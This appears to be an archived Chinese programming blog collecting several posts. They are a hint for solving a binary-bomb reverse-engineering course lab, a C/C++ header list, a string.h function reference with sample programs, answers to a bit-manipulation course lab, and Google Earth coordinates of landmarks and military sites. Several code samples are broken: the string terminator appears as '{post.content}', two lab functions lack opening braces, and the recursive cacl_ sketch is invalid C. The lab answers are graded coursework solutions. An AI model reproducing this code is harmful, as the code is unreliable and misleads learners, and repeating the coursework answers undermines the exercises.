     这个有点麻烦,涉及到IMUL中要分出前32位与后32位,比较简单的做法是:从这句80494ab:39 c3 cmp %eax,%ebx中发现只要知道%eax,%ebx的值就可以,那么在8049497:89 c3 mov %eax,%ebx时发现%ebx的值已经确定,那么在下一句设置断点,查%ebx。而%eax的值随你输入变化而变化,可以写出calc_的c代码,其输入值calc_(0x8(%ebp),%eax)这样密码就确定了。
    int cacl_(int a,int b)
    {
     int eax,j,k;
     if b>0
      return (cacl_(2a,b-1)+1+a/2147483648)
     else
      return 0;
    }
    4/4/2007

    C/C++头文件一览

    C、传统 C++

    #include <assert.h>    //设定插入点
    #include <ctype.h>     //字符处理
    #include <errno.h>     //定义错误码
    #include <float.h>     //浮点数处理
    #include <fstream.h>    //文件输入/输出
    #include <iomanip.h>    //参数化输入/输出
    #include <iostream.h>   //数据流输入/输出
    #include <limits.h>    //定义各种数据类型最值常量
    #include <locale.h>    //定义本地化函数
    #include <math.h>     //定义数学函数
    #include <stdio.h>     //定义输入/输出函数
    #include <stdlib.h>    //定义杂项函数及内存分配函数
    #include <string.h>    //字符串处理
    #include <strstrea.h>   //基于数组的输入/输出
    #include <time.h>     //定义关于时间的函数
    #include <wchar.h>     //宽字符处理及输入/输出
    #include <wctype.h>    //宽字符分类

    标准 C++ (同上的不再注释)

    #include <algorithm>    //STL 通用算法
    #include <bitset>     //STL 位集容器
    #include <cctype>
    #include <cerrno>
    #include <clocale>
    #include <cmath>
    #include <complex>     //复数类
    #include <cstdio>
    #include <cstdlib>
    #include <cstring>
    #include <ctime>
    #include <deque>      //STL 双端队列容器
    #include <exception>    //异常处理类
    #include <fstream>
    #include <functional>   //STL 定义运算函数(代替运算符)
    #include <limits>
    #include <list>      //STL 线性列表容器
    #include <map>       //STL 映射容器
    #include <iomanip>
    #include <ios>       //基本输入/输出支持
    #include <iosfwd>     //输入/输出系统使用的前置声明
    #include <iostream>
    #include <istream>     //基本输入流
    #include <ostream>     //基本输出流
    #include <queue>      //STL 队列容器
    #include <set>       //STL 集合容器
    #include <sstream>     //基于字符串的流
    #include <stack>      //STL 堆栈容器    
    #include <stdexcept>    //标准异常类
    #include <streambuf>    //底层输入/输出支持
    #include <string>     //字符串类
    #include <utility>     //STL 通用模板类
    #include <vector>     //STL 动态数组容器
    #include <cwchar>
    #include <cwctype>

    C99 增加

    #include <complex.h>   //复数处理
    #include <fenv.h>    //浮点环境
    #include <inttypes.h>  //整数格式转换
    #include <stdbool.h>   //布尔环境
    #include <stdint.h>   //整型环境
    #include <tgmath.h>   //通用类型数学宏

    string.h中的函数

    @函数名称:   strdup
    函数原型:   char *strdup(const char *s)
    函数功能:   字符串拷贝,目的空间由该函数分配
    函数返回:   指向拷贝后的字符串指针
    参数说明:   src-待拷贝的源字符串
    所属文件:   <string.h>

    #include <stdio.h>
    #include <string.h>
    #include <alloc.h>
    int main()
    {
     char *dup_str, *string="abcde";
     dup_str=strdup(string);
     printf("%s", dup_str);
     free(dup_str);
     return 0;
    }


    @函数名称:   strcpy
    函数原型:   char* strcpy(char* str1,char* str2);
    函数功能:   把str2指向的字符串拷贝到str1中去
    函数返回:   返回str1,即指向str1的指针
    参数说明:
    所属文件:   <string.h>

    #include <stdio.h>
    #include <string.h>
    int main()
    {
     char string[10];
     char *str1="abcdefghi";
     strcpy(string,str1);
     printf("the string is:%s\n",string);
     return 0;
    }


    @函数名称:   strncpy
    函数原型:   char *strncpy(char *dest, const char *src,int count)
    函数功能:   将字符串src中的count个字符拷贝到字符串dest中去
    函数返回:   指向dest的指针
    参数说明:   dest-目的字符串,src-源字符串,count-拷贝的字符个数
    所属文件:   <string.h>

    #include <stdio.h>
    #include <string.h>
    int main()
    {
     char string[10];
     char *str1="abcdefghi";
     strncpy(string,str1,3);
     string[3]='{post.content}';
     printf("%s",string);
     return 0;
    }


    @函数名称:   strcat
    函数原型:   char* strcat(char * str1,char * str2);
    函数功能:   把字符串str2接到str1后面,str1最后的'{post.content}'被取消
    函数返回:   str1
    参数说明:
    所属文件:   <string.h>

    #include <stdio.h>
    #include <string.h>

    int main()
    {
     char buffer[80];

     strcpy(buffer,"Hello ");
     strcat(buffer,"world");
     printf("%s\n",buffer);
     return 0;
    }


    @函数名称:   strncat
    函数原型:   char *strncat(char *dest, const char *src, size_t maxlen)
    函数功能:   将字符串src中前maxlen个字符连接到dest中
    函数返回:
    参数说明:
    所属文件:   <string.h>

    #include <stdio.h>
    #include <string.h>

    char buffer[80];

    int main()
    {
     strcpy(buffer,"Hello ");
     strncat(buffer,"world",8);
     printf("%s\n",buffer);
     strncat(buffer,"*************",4);
     printf("%s\n",buffer);
     return 0;
    }


    @函数名称:   strcmp
    函数原型:   int strcmp(char * str1,char * str2);
    函数功能:   比较两个字符串str1,str2.
    函数返回:   str1<str2,返回负数; str1=str2,返回 0; str1>str2,返回正数.
    参数说明:
    所属文件:   <string.h>

    #include <string.h>
    #include <stdio.h>
    int main()
    {
     char *buf1="aaa", *buf2="bbb", *buf3="ccc";
     int ptr;
     ptr=strcmp(buf2, buf1);
     if(ptr>0)
       printf("buffer 2 is greater than buffer 1\n");
     else
       printf("buffer 2 is less than buffer 1\n");
     ptr=strcmp(buf2, buf3);
     if(ptr>0)
       printf("buffer 2 is greater than buffer 3\n");
     else
       printf("buffer 2 is less than buffer 3\n");
     return 0;
    }


    @函数名称:   strncmp
    函数原型:   int strncmp(char *str1,char *str2,int count)
    函数功能:   对str1和str2中的前count个字符按字典顺序比较
    函数返回:   小于0:str1<str2,等于0:str1=str2,大于0:str1>str2
    参数说明:   str1,str2-待比较的字符串,count-比较的长度
    所属文件:   <string.h>

    #include <string.h>
    #include <stdio.h>
    int main()
    {
     int ptr;
     char *buf1="aaabbb",*buf2="bbbccc",*buf3="ccc";
     ptr=strncmp(buf2,buf1,3);
     if (ptr>0)
       printf("buffer 2 is greater than buffer 1");
     else
       printf("buffer 2 is less than buffer 1");
       ptr=strncmp(buf2,buf3,3);
     if (ptr>0)
       printf("buffer 2 is greater than buffer 3");
     else
       printf("buffer 2 is less than buffer 3");
     return(0);
    }


    @函数名称:   strpbrk
    函数原型:   char *strpbrk(const char *s1, const char *s2)
    函数功能:   得到s1中第一个“同时也出现在s2中”字符的位置指针
    函数返回:   位置指针
    参数说明:
    所属文件:   <string.h>

    #include <stdio.h>
    #include <string.h>
    int main()
    {
    char *p="Find all vowels";

    while(p)
    {
     printf("%s\n",p);
     p=strpbrk(p+1,"aeiouAEIOU");
    }
    return 0;
    }


    @函数名称:   strcspn
    函数原型:   int strcspn(const char *s1, const char *s2)
    函数功能:   统计s1中从头开始直到第一个“来自s2中的字符”出现的长度
    函数返回:   长度
    参数说明:
    所属文件:   <string.h>

    #include <stdio.h>
    #include <string.h>

    int main()
    {
     printf("%d\n",strcspn("abcbcadef","cba"));
     printf("%d\n",strcspn("xxxbcadef","cba"));
     printf("%d\n",strcspn("123456789","cba"));
     return 0;
    }


    @函数名称:   strspn
    函数原型:   int strspn(const char *s1, const char *s2)
    函数功能:   统计s1中从头开始直到第一个“不来自s2中的字符”出现的长度
    函数返回:   位置指针
    参数说明:
    所属文件:   <string.h>

    #include <stdio.h>
    #include <string.h>
    #include <alloc.h>
    int main()
    {
     printf("%d\n",strspn("out to lunch","aeiou"));
     printf("%d\n",strspn("out to lunch","xyz"));
     return 0;
    }


    @函数名称:   strchr
    函数原型:   char* strchr(char* str,char ch);
    函数功能:   找出str指向的字符串中第一次出现字符ch的位置
    函数返回:   返回指向该位置的指针,如找不到,则返回空指针
    参数说明:   str-待搜索的字符串,ch-查找的字符
    所属文件:   <string.h>

    #include <string.h>
    #include <stdio.h>
    int main()
    {
     char string[15];
     char *ptr, c='r';
     strcpy(string, "This is a string");
     ptr=strchr(string, c);
     if (ptr)
       printf("The character %c is at position: %d\n",c,ptr-string);
     else
       printf("The character was not found\n");
     return 0;
    }


    @函数名称:   strrchr
    函数原型:   char *strrchr(const char *s, int c)
    函数功能:   得到字符串s中最后一个含有c字符的位置指针
    函数返回:   位置指针
    参数说明:
    所属文件:   <string.h>

    #include <string.h>
    #include <stdio.h>
    int main()
    {
     char string[15];
     char *ptr,c='r';
     strcpy(string,"This is a string");
     ptr=strrchr(string,c);
     if (ptr)
       printf("The character %c is at position:%d",c,ptr-string);
     else
       printf("The character was not found");
     return 0;
    }


    @函数名称:   strstr
    函数原型:   char* strstr(char* str1,char* str2);
    函数功能:   找出str2字符串在str1字符串中第一次出现的位置(不包括str2的串结束符)
    函数返回:   返回该位置的指针,如找不到,返回空指针
    参数说明:
    所属文件:   <string.h>

    #include <stdio.h>
    #include <string.h>
    int main()
    {
     char *str1="Open Watcom C/C++",*str2="Watcom",*ptr;
     ptr=strstr(str1,str2);
     printf("The substring is:%s\n",ptr);
     return 0;
    }


    @函数名称:   strrev
    函数原型:   char *strrev(char *s)
    函数功能:   将字符串中的所有字符颠倒次序排列
    函数返回:   指向s的指针
    参数说明:
    所属文件:   <string.h>

    #include <string.h>
    #include <stdio.h>
    int main()
    {
     char *forward="string";
     printf("Before strrev():%s",forward);
     strrev(forward);
     printf("After strrev(): %s",forward);
     return 0;
    }


    @函数名称:   strnset
    函数原型:   char *strnset(char *s, int ch, size_t n)
    函数功能:   将字符串s中前n个字符设置为ch的值
    函数返回:   指向s的指针
    参数说明:
    所属文件:   <string.h>

    #include <stdio.h>
    #include <string.h>
    int main()
    {
     char *string="abcdefghijklmnopqrstuvwxyz";
     char letter='x';
     printf("string before strnset: %s",string);
     strnset(string,letter,13);
     printf("string after strnset: %s",string);
     return 0;
    }


    @函数名称:   strset
    函数原型:   char *strset(char *s, int ch)
    函数功能:   将字符串s中所有字符设置为ch的值
    函数返回:   指向s的指针
    参数说明:
    所属文件:   <string.h>

    #include <stdio.h>
    #include <string.h>
    int main()
    {
     char string[10]="123456789";
     char symbol='c';
     printf("Before strset(): %s", string);
     strset(string, symbol);
     printf("After strset(): %s", string);
     return 0;
    }


    @函数名称:   strtok
    函数原型:   char *strtok(char *s1, const char *s2)
    函数功能:   分解s1字符串为用特定分隔符分隔的多个字符串(一般用于将英文句分解为单词)
    函数返回:   字符串s1中首次出现s2中的字符前的子字符串指针
    参数说明:   s2一般设置为s1中的分隔字符规定进行子调用时(即分割s1的第二、三及后续子串)第一参数必须是NULL在每一次匹配成功后,将s1中分割出的子串位置替换为NULL(摘下链中第一个环),因此s1被破坏了函数会记忆指针位置以供下一次调用
    所属文件:   <string.h>

    #include <string.h>
    #include <stdio.h>
    int main()
    {
     char *p;
     char *buffer;
     char *delims={ " .," };

     buffer=strdup("Find words, all of them.");
     printf("%s\n",buffer);
     p=strtok(buffer,delims);
     while(p!=NULL){
       printf("word: %s\n",p);
       p=strtok(NULL,delims);
     }
     printf("%s\n",buffer);
     return 0;
    }


    @函数名称:   strupr
    函数原型:   char *strupr(char *s)
    函数功能:   将字符串s中的字符变为大写
    函数返回:
    参数说明:
    所属文件:   <string.h>

    #include <stdio.h>
    #include <string.h>
    int main()
    {
     char *string="abcdefghijklmnopqrstuvwxyz",*ptr;
     ptr=strupr(string);
     printf("%s",ptr);
     return 0;
    }


    @函数名称:   strlwr
    函数原型:   char *strlwr(char *s)
    函数功能:   将字符串中的字符变为小写字符
    函数返回:   指向s的指针
    参数说明:
    所属文件:   <string.h>

    #include<string.h>
    int main()
    {
     char str[]="HOW TO SAY?";
     printf("%s",strlwr(str));
     return 0;
    }


    @函数名称:   strlen
    函数原型:   unsigned int strlen(char * str);
    函数功能:   统计字符串str中字符的个数(不包括终止符'{post.content}')
    函数返回:   返回字符串的长度.
    参数说明:
    所属文件:   <string.h>

    #include <stdio.h>
    #include<string.h>
    int main()
    {
     char str[]="how are you!";
     printf("the lence is:%d\n",strlen(str));
     return 0;
    }


    @函数名称:   strerror
    函数原型:   char *strerror(int errnum)
    函数功能:   得到错误信息的内容信息
    函数返回:   错误提示信息字符串指针
    参数说明:   errnum-错误编号
    所属文件:   <string.h>

    #include <stdio.h>
    #include <errno.h>
    int main()
    {
     char *buffer;
     buffer=strerror(errno);
     printf("Error: %s",buffer);
     return 0;
    }


    @函数名称:   memcpy
    函数原型:   void *memcpy(void *dest, const void *src, size_t n)
    函数功能:   字符串拷贝
    函数返回:   指向dest的指针
    参数说明:   src-源字符串,n-拷贝的最大长度
    所属文件:   <string.h>,<mem.h>

    #include <stdio.h>
    #include <string.h>
    int main()
    {
     char src[]="******************************";
     char dest[]="abcdefghijlkmnopqrstuvwxyz0123456709";
     char *ptr;
     printf("destination before memcpy:%s\n",dest);
     ptr=memcpy(dest,src,strlen(src));
     if (ptr)
       printf("destination after memcpy:%s\n",dest);
     else
       printf("memcpy failed");
     return 0;
    }


    @函数名称:   memccpy
    函数原型:   void *memccpy(void *dest, const void *src, int c, size_t n)
    函数功能:   字符串拷贝,到指定长度或遇到指定字符时停止拷贝
    函数返回:
    参数说明:   src-源字符串指针,c-中止拷贝检查字符,n-长度,dest-拷贝底目的字符串指针
    所属文件:   <string.h>,<mem.h>

    #include <string.h>
    #include <stdio.h>
    int main()
    {
     char *src="This is the source string";
     char dest[50];
     char *ptr;
     ptr=memccpy(dest,src,'c',strlen(src));
     if (ptr)
     {
       *ptr='{post.content}';
       printf("The character was found:%s",dest);
     }
     else
       printf("The character wasn't found");
     return 0;
    }


    @函数名称:   memchr
    函数原型:   void *memchr(const void *s, int c, size_t n)
    函数功能:   在字符串中第开始n个字符中寻找某个字符c的位置
    函数返回:   返回c的位置指针,返回NULL时表示未找到
    参数说明:   s-要搜索的字符串,c-要寻找的字符,n-指定长度
    所属文件:   <string.h>,<mem.h>

    #include <string.h>
    #include <stdio.h>
    int main()
    {
     char str[17];
     char *ptr;
     strcpy(str,"This is a string");
     ptr=memchr(str,'r',strlen(str));
     if (ptr)
     printf("The character 'r' is at position: %d",ptr-str);
     else
     printf("The character was not found");
     return 0;
    }


    @函数名称:   memcmp
    函数原型:   int memcmp(const void *s1, const void *s2,size_t n)
    函数功能:   按字典顺序比较两个串s1和s2的前n个字节
    函数返回:   <0,=0,>0分别表示s1<,=,>s2
    参数说明:   s1,s2-要比较的字符串,n-比较的长度
    所属文件:   <string.h>,<mem.h>

    #include <stdio.h>
    #include <string.h>
    int main()
    {
     char *buf1="ABCDE123";
     char *buf2="abcde456";
     int stat;
     stat=memcmp(buf1,buf2,5);
     printf("The strings to position 5 are ");
     if(stat) printf("not ");
     printf("the same\n");
     return 0;
    }



    @函数名称:   memicmp
    函数原型:   int memicmp(const void *s1, const void *s2, size_t n)
    函数功能:   按字典顺序、不考虑字母大小写对字符串s1,s2前n个字符比较
    函数返回:   <0,=0,>0分别表示s1<,=,>s2
    参数说明:   s1,s2-要比较的字符串,n-比较的长度
    所属文件:   <string.h>,<mem.h>

    #include <stdio.h>
    #include <string.h>
    int main()
    {
     char *buf1="ABCDE123";
     char *buf2="abcde456";
     int stat;
     stat=memicmp(buf1,buf2,5);
     printf("The strings to position 5 are ");
     if(stat) printf("not");
     printf("the same");
     return 0;
    }


    @函数名称:   memmove
    函数原型:   void *memmove(void *dest, const void *src, size_t n)
    函数功能:   字符串拷贝
    函数返回:   指向dest的指针
    参数说明:   src-源字符串,n-拷贝的最大长度
    所属文件:   <string.h>,<mem.h>

    #include <string.h>
    #include <stdio.h>
    int main()
    {
     char dest[40]="abcdefghijklmnopqrstuvwxyz0123456789";
     printf("destination prior to memmove:%s\n",dest);
     memmove(dest+1,dest,35);
     printf("destination after memmove:%s",dest);
     return 0;
    }


    @函数名称:   memset
    函数原型:   void *memset(void *s, int c, size_t n)
    函数功能:   字符串中的n个字节内容设置为c
    函数返回:
    参数说明:   s-要设置的字符串,c-设置的内容,n-长度
    所属文件:   <string.h>,<mem.h>

    #include <string.h>
    #include <stdio.h>
    #include <mem.h>
    int main()
    {
     char buffer[]="Hello world";
     printf("Buffer before memset:%s\n",buffer);
     memset(buffer,'*',strlen(buffer)-1);
     printf("Buffer after memset:%s",buffer);
     return 0;
    }
    3/26/2007

    LAB1

    ///////////////////////////////////////////////////////////////////////////////
    // PART I
    ///////////////////////////////////////////////////////////////////////////////

    // Duplicate the behavior of the bit operation &.
    // Example: bitAnd(6, 5) = 4
    // Legal ops: ~ |
    // Max ops: 8
    // Rating: 1
    int bitAnd(int x, int y)
    {
    return ~((~x)|(~y));
    }

    // Duplicate the behavior of the bit operation |.
    // Example: bitOr(6, 5) = 7
    // Legal ops: ~ &
    // Max ops: 8
    // Rating: 1
    int bitOr(int x, int y)
    {
    return ~((~x)&(~y));
    }

    // Compares x to y, i.e. x==y. It should return 1 if the tested condition
    // holds and 0 otherwise.
    // Examples: isEqual(5,5) = 1, isEqual(4,5) = 0
    // Legal ops: ! ~ & ^ | + <<>>
    // Max ops: 5
    // Rating: 2
    int isEqual(int x, int y)
    {
    return !(x^y);
    }

    // Does a logical right shift of x to the right by n.
    // Can assume that 1 <= n <= 31
    // Examples: logicalShift(0x87654321,4) = 0x08765432
    // Legal ops: ~ & ^ | + << >>
    // Max ops: 16
    // Rating: 3
    int logicalShift(int x, int n)
    {
    return (x>>n)&((~0)^((~0)<<(32+(~n+1))));

    }

    // Returns 1 if x contains an odd number of 1's, and 0 otherwise.
    // Examples: bitParity(5) = 0, bitParity(7) = 1
    // Legal ops: ! ~ & ^ | + <<>>
    // Max ops: 20
    // Rating: 4
    int bitParity(int x)//0^1=1,1^1=0.
    {
       int wd16 = x ^ (x >> 16); 
       int wd8 = wd16 ^ (wd16 >> 8);
       int wd4 = wd8 ^ (wd8 >> 4);
       int wd2 = wd4 ^ (wd4 >> 2);
       int bit = wd2 ^ (wd2 >> 1); 
       return bit & 1;
    }

    // Returns a mask that marks the position of the least significant 1 bit of x
    // with a 1. All other positions of the mask should be 0.
    // Example: leastBitPos(96) = 0x20
    // Legal ops: ! ~ & ^ | + << >>
    // Max ops: 30
    // Rating: 4
    int leastBitPos(int x)
    {
    return (~x+1) & x;
    }

    // Returns a count of the number of 1's in the argument.
    // Examples: bitCount(5) = 2, bitCount(7) = 3
    // Legal ops: ! ~ & ^ | + << >>
    // Max ops: 40
    // Rating: 4
    int bitCount(int x)
    {
    int x1,x2,a;
    a=0x55;
    a=(a<<8)|a;
    a=(a<<16)|a;
    x1 = (x>>1)&a;
    x2 = x&a;
    x = x1+x2;
    a=0x33;
    a=(a<<8)|a;
    a=(a<<16)|a;
    x1 = (x>>2)&a;
    x2 = x&a;
    x = x1+x2;
    a=0x0F;
    a=(a<<8)|a;
    a=(a<<16)|a;
    x1 = (x>>4)&a;
    x2 = x&a;
    x = x1+x2;
    a=0xFF;
    a=a|(a<<16);
    x1 = (x>>8)&a;
    x2 = x&a;
    x = x1+x2;
    a=0xFF;
    a=a|(a<<8);
    x1 = (x>>16)&a;
    x2 = x&a;
    x = x1+x2;
    return x;
    }

    // Compute !x without using ! operator.
    // Examples: bang(3) = 0, bang(0) = 1
    // Legal ops: ~ & ^ | + << >>
    // Max ops: 12
    // Rating: 4
    int bang(int x) 
    {
    int y =~x+1;
    return (((x|y)>>31)&1)^1;
    }


    ///////////////////////////////////////////////////////////////////////////////
    // PART II
    ///////////////////////////////////////////////////////////////////////////////

    // Return maximum two's complement integer
    // Legal ops: ! ~ & ^ | + << >>
    // Max ops: 4
    // Rating: 1
    int tmax(void)

     return ~(1 << 31);
    }

    // Compute -x without using - operator.
    // Example: negate(1) = -1.
    // Legal ops: ! ~ & ^ | + << >>
    // Max ops: 5
    // Rating: 2
    int negate(int x)
    {
    return ~x+1;
    }

    // Determines whether argument y can be added to argument x without overflow.
    // Example: addOK(0x80000000,0x80000000) = 0, addOK(0x80000000,0x70000000) = 1
    // Legal ops: ! ~ & ^ | + << >>
    // Max ops: 20
    // Rating: 3
    int addOK(int x, int y)
    {
    int a, b, sum;
    int mask; 
    mask = 0x80 << 24;
    sum = x+y; 
    a = !((x & mask) ^ (y & mask)) ;
    b = !!((x & mask) ^ (sum & mask)) ;
    return !(a&b);  
    }

    // Check whether x is nonzero using the legal operators except !
    // Examples: isNonZero(3) = 1, isNonZero(0) = 0
    // Legal ops: ~ & ^ | + << >>
    // Max ops: 10
    // Rating: 4
    int isNonZero(int x)

    int y =~x+1;
    return ((x|y)>>31)&1;
    }

    // Converts a number from sign-magnitude format to two抯 complement format.
    // That is, the high order bit of x is a sign bit s, while the remaining bits
    // denote a nonnegative magnitude m. The function should then return the
    // two抯 complement representation of (-1)^s*m.
    // Example: sm2tc(0x80000005) = -5.
    // Legal ops: ! ~ & ^ | + << >>
    // Max ops: 15
    // Rating: 4
    int sm2tc(int x)
    {
    int sign = x>>31;
    return (x^sign)+(sign<<31)+(~sign+1);
    }

    // Compute absolute value of x. (Except it returns TMin for TMin)
    // Example: abs(-1) = 1.
    // Legal ops: ! ~ & ^ | + << >>
    // Max ops: 10
    // Rating: 4
    int abs(int x)
    {
    int sign = x>>31;
    return (x^sign)+(!!(sign&1));
    }

    // Adds two values and if the result (x+y) has a positive overflow it returns
    // the greatest possible positive value (instead of getting a negative result).
    // If the result has a negative overflow, then it should return the least
    // possible negative value.
    // Examples: satAdd(0x40000000,0x40000000) = 0x7fffffff
    //           satAdd(0x80000000,0xffffffff) = 0x80000000
    // Legal ops: ! ~ & ^ | + << >>
    // Max ops: 30
    // Rating: 4
    int satAdd(int x, int y)
    {
    int a, b, sum,mask,signx; 
    mask = 0x80 << 24;
    sum = x+y;
    signx=(x&mask)>>31;
    a = !((x & mask) ^ (y & mask)) ;
    b = !!((x & mask) ^ (sum & mask)) ;
    int r = !(a&b);
    r=(r<<31)>>31;
    return (r&sum)+((~r)&(((~(1 << 31))&(~signx))+(mask&signx)));
    }

    3/17/2007

    Google earth的地标

    打开你的Google earth,
    在fly to的框框里输入下面的 坐标
    回车,GE就带你飞过去啦
    *^_^*
    超震撼的革命标语
    42 27'12.08"n,94 08'49.36"e 排除万难去争取胜利
    42 39'33.30"n,94 16'00.56"e 只争朝夕
    42 27'40.95"n,94 14'36.80"e 向斗争中学习
    42 32'33.95"n,94 19'36.80"e 为人民服务
    42 39'18.85"n,94 10'00.80"e 毛主席万岁
    99.69783333E,27.86808444N 香格里拉-松赞林寺
    39 41'43.75,73 55'37.39 祖国在我心中
    43 45'16.93"N 87 40'03.75"E 仗怎么打,兵怎么练
    43 48'09.37"N 87 40'17.65"E 着眼实战锤炼精兵
    27 51'29.88"N,99 43'13.73"E 香格里拉
    41°13'07.74"N 112°01'37.90"W 一个农田上的画
    13°35'42.03N 20°00'23.40E 一个莫名其妙的地方,周围都模模糊糊,就这里超级清楚
    53°31'55.63"N 1°21'25.19"W 麦田怪圈
    48°51'28N,10°12'18E 一个非常巨大昆虫实体,不知道是怎么回事
    29°58'33N 31°07'50E 金字塔
    41°53'24N 12°29'31E 罗马圆形决斗场
    27 58'41.20N,86 55'18.31E 珠穆朗玛峰
    29°58'33.82"N 31°8'13.62"E 狮身人面像和胡夫金字塔
    37°14'18.05"N115°48'52.17"W 51区
    37°38'44.05"N115°48'6.40"W 被涂抹的地方
    36°57'13.54"N, 76°19'37.38"W 美国诺福克海军基地 很多航母啊~
    25° 6'45.80"N, 55° 7'55.42"E 阿联酋-迪拜的人工棕榈岛
    25° 0'23.07"N, 54°59'12.19"E 阿联酋-迪拜的人工棕榈岛
    胡夫金字塔:29.9758941775,31.1303588639
    八达岭(延庆县八达岭镇) 40°21'15.41",116°00'24.21"
    戴维斯空军基地 32.165978,-110.854884
    40.09505600/128.34080800北韩核反应堆
    47.62778500/-122.24189100比尔盖茨豪宅
    印度被曝光的Sukhoi 30 MKI战斗机18.5784602315, 73.9199699249
    凯旋门: 48°52'26.79"N,2°17'42.66"E
    凡尔赛宫: 48°48'17.76"N,2° 7'18.24"E
    巴黎圣母院: 48°51'11.39"N,2°20'56.95"E
    卢浮宫: 48°51'39.74"N,2°20'9.26"E
    埃菲尔铁塔: 48°51'29.54"N,2°17'40.19"E
    古罗马大竞技场: 41°53'24.32"N,12°29'31.16"E
    自由女神像: 40°41'21.48"N,74° 2'40.38"W
    胡夫金字塔: 29°58'43.41"N,31° 8'5.06"E
    Miyake-jima(日本的一个火山岛,还在冒烟)34.0833816528, 139.528656006
    27.9782502279, 86.9221941736 珠穆朗玛峰(Mount Everest)
    珠穆朗玛峰,简称珠峰,又意译作圣母峰,位于中国和尼泊尔交界的喜马拉雅山脉之上,终年积雪。是世界海拔第一高峰

    麦田怪圈 53 31'54.33N,1 21'22.63W
    Nazca lines 秘鲁神秘巨型地表图案14°41'11.61"S,75°10'23.26"W
    撞机事件 51°52'17.78"N,0°34'0.13"W
    37°39'56.22"N116° 1'30.90"W 大三角图案

    37°50'38.81"N116°43'53.01"W 核设施
    40.09505600/128.34080800 北韩核反应堆
    47.62778500/-122.24189100 比尔盖茨豪宅搜索风
    雅典-卫城 37°58'18.87"N,23°43'32.81"E
    宛如龟甲-小田原城 35°15'7.56"N,139° 9'12.81"E
    丰臣秀吉-大阪城 34°41'16.16"N,135°31'29.36"E
    赤道雪-乞力马扎罗 3° 3'53.24"S,37°20'56.85"E
    英国的巨石阵 51°10'44.32"N,1°49'43.38"W
    印加遗迹:马丘比丘 13° 09'48.07"S,72°32'44.69"W
    34°08'02.97"N,118°19'17.94"W Hollywood Hills
    25°55'46.42"N 80° 7'49.58"W 断桥
    45°30'26.40"N 73°32'52.94"W马戏团
    大堡礁 Great Barrier Reef 18°21'04.58"S,146°47'58.81"E

    34.932808,-117.876949 发现号着陆的地方:爱德华兹空军基地
    34.664955,-120.578728 加里福利亚的范登堡空军基地
    5.187950,-52.712746 法属圭亚那库鲁航天发射场是世界主要航天发射基地之一 世界最佳航天发射场:库鲁航天发射场
    41.528320,-71.316000 波士顿港口的两艘航母

    33.362882,40.596521 伊拉克西部的一个机场,已经不能使用了。跑道上隔一段距离就被堆了一些沙袋。
    34.950321,69.266160 阿富汗东部山区的一个军用机场,实在是非常隐蔽。
    45.997009,63.286743 拜科努尔航天发射场位于哈萨克斯坦南部的拜科努尔市西南280公里处,南北宽75公里,东西宽90公里,面积实在是很大,下面的google maps可能只是局部。
    38°56'31.81"N 121°38'41.10"E 这艘停泊在大连的航空母舰,就是传说中的瓦良格号了。也有同志说在大连的时候谁上个能看到大连港的高楼都能看到,根本就不是什么秘密,买来拆废铁的,

    青藏铁路篇
    这里收集了一些关于青藏铁路的坐标,使用方法很简单,先启动Google Earth,然后选择软件左面的部分“Fly to(飞至)”在下面的框中粘贴坐标,按回车即可“飞”到这个地方。
    虽然目前无法到坐火车到西藏去,但是我们可以从Google Earth上游览一下青藏线。不过,由于Google的地图是几年前的,所以看到的青藏铁路还在修建中。

    这是青藏铁路在高原上的一段: 31° 5'55.90"N, 91°39'58.34"E
    这是青藏铁路在高原上的另外一段:30°47'35.19"N, 91°36'38.53"E
    青藏铁路格尔木东站: 36°25'8.48"N, 94°55'23.15"E
    青藏铁路格尔木站: 36°23'0.22"N, 94°54'21.68"E
    青藏铁路一隧道入口: 35°41'7.14"N, 94° 2'56.92"E
    青藏铁路楚玛尔河沿: 35°18'41.27"N, 93°18'46.14"E
    青藏铁路尚未开工的路段: 32°18'52.87"N, 91°43'44.59"E
    青藏铁路一桥梁: 33°43'13.57"N, 92° 5'38.60"E
    青藏铁路上的一列火车: 34°13'46.33"N, 92°26'32.16"E
    青藏铁路及路边待铺的铁轨: 34°15'26.89"N 92°28'23.93"E
    青藏铁路一个小站: 34°54'3.33"N, 92°56'3.09"E
    青藏铁路一个长长的桥: 31°28'27.77"N, 91°59'38.94"E
    青藏铁路那曲附近一小站: 31°33'57.26"N, 91°55'11.96"E
    青藏铁路那曲站: 31°26'45.42"N, 91°59'24.03"E
    青藏铁路穿越雪原: 31°12'54.08"N, 91°41'0.79"E
    青藏铁路尚未建成的拉萨火车站: 29°37'28.44"N, 91° 4'8.92"E

    Google Earth经典

    这里收集了一些地理和有趣的坐标,使用方法很简单,先启动Google Earth,然后选择软
    件左面的部分“Fly to(飞至)”在下面的框中粘贴坐标,按回车即可“飞”到这个地方。

    Google Earth上中国军事标语

    卫国戍边: 39°41'44.94"N, 73°55'40.55"E
    祖国在我心中: 39°41'42.55"N, 73°55'34.37"E
    严格要求严格训练: 45° 6'56.73"N, 82°31'32.44"E
    卫国戍边以卡为家: 45°22'3.47"N, 90°34'23.67"E
    苦练精兵: 43°43'45.72"N, 87°40'12.59"E
    仗怎么打 兵怎么练: 43°45'19.85"N, 87°40'6.22"E

      后面这几个是网上最先报料出来的,为原第八航校官兵在戈壁滩上创造的奇迹,这些环绕机场的“语录”地标,可以帮助飞行员保持空域位置,引导教、学员准确进出空域。其中一角还有一条废弃跑道。因为柳树泉机场地处戈壁,附近没有明显的地物特征!飞机都是设备简单的初教机,导航设备简陋,所以就弄了语录地标。 有兴趣的自己去看:

    只争朝夕: 42°39'34.40"N, 94°16'4.27"E
    毛主席万万岁: 42°39'20.78"N, 94°10'0.58"E
    为人民服务: 42°32'29.11"N, 94°19'34.62"E
    排除万难去争取胜利: 42°27'15.00"N, 94° 8'48.36"E
    向斗争中学习: 42°27'36.56"N, 94°14'27.76"E

    军事篇

    白宫: 38°53'23.90"N 77°00'32.60"W
    五角大楼: 38°52'15.39"N 77°03'22.02"W
    美国核设施: 37°50'38.81"N116°43'53.01"W
    戴维斯空军基地: 32°9'57.52"N,110°51'17.58"W
    北韩核反应堆: 40° 5'42.20"N,128°20'26.91"E
    怀特曼空军基地: 38°43'40.89"N 93°33'21.58"W
    俄国的核潜艇: 42.8689845164N, 132.517761198E
    俄国SU-27基地: 50°36'8.91"N 137° 4'47.63"E

    体育篇

    慕尼黑安联体育场(开幕式): 48.219147789,11.6263784774
    柏林奥林匹克体育场(决赛): 52.5133561136,13.2398110056
    汉诺威AWD竞技场: 52.3599290703,9.73288538378
